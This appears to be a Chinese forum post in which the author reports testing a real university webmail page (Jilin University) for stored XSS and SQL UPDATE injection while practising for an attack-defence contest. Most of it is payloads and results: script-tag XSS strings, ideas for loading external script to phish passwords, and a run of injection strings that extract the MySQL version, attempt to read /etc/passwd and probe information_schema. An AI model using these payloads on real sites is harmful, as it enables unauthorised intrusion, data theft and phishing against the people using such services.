PS:为了给"奇虎360 网络攻防赛"的决赛积累经验,在尝试复杂的漏洞攻击,于是就碰到了这个漏洞。
-----------------------------------------------
漏洞地址:
http://mails.jlu.edu.cn/userproperty.php
(需要用户认证,该网页保存并显示用户提交的用户名)
漏洞描述:
1.31字节的存储式xss
2.sql update注入
-----------------------------------------------
首先,盲测,依次输入
><script>alert("ok!");</script
><? phpinfo(); ?
")"/\
得到的信息:
1.从>之后的信息被放到</input>标签之后
2.sql语句为:UPDATE user SET name='$post' where id =xxxxxx@mails.jlu.edu.cn'
3.php语句会被注释为 <!--? phpinfo(); ?-->
-----------------------------------------------
关于33字节的xss利用:
本想构造一个类似于
><script>window.open("test.com");</script
或者
><script src="xx.cn/1.js"></script>
的网页来欺骗输入账号密码,但33个字符的发挥空间真是很小。
----------------------------------------------
关于sql update注入:
1.用#注释掉之后的语句
2.使用变量输出想要的答案
以下是测试记录:
1.summer1' where name="3" and exists(select * from dual) # #'
2.summer2',name=@ver where name="summer22" and (select @ver:=substring('2011-11-17',1)) # #'
证明是mysql
3.summer2',name=@ver where name="summer1" and (select @ver:=version()) # #'
达到版本号4.1.20
4.summer2',name=@ver where name="4.1.20" and (select @ver:=DATABASE() ) # #'
执行失败
summer2',name=@ver where name="4.1.20" and (select @ver:=user() ) # #'
执行失败
5.summer2',name=@ver where name="4.1.20" and (select @ver:=load_file("/etc/passwd") ) # #'
执行失败
summer2',name=@ver where name="4.1.20" and (select @ver:=load_file("c:\\boot.ini") ) # #'
执行失败
6.summer1' where name="summer2" and EXISTS(SELECT column_name from information_schema.columns) # #'
err:Access denied for user 'mail'@'10.100.108.4' to database 'information_schema'
7.summer1' where passwd="new234567" # #'
不存在字段password,passwd,pw,id,uid,email,mail,email_id
-----暂时只得到这些结果,这个洞利用起来真是让人头疼啊-----
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课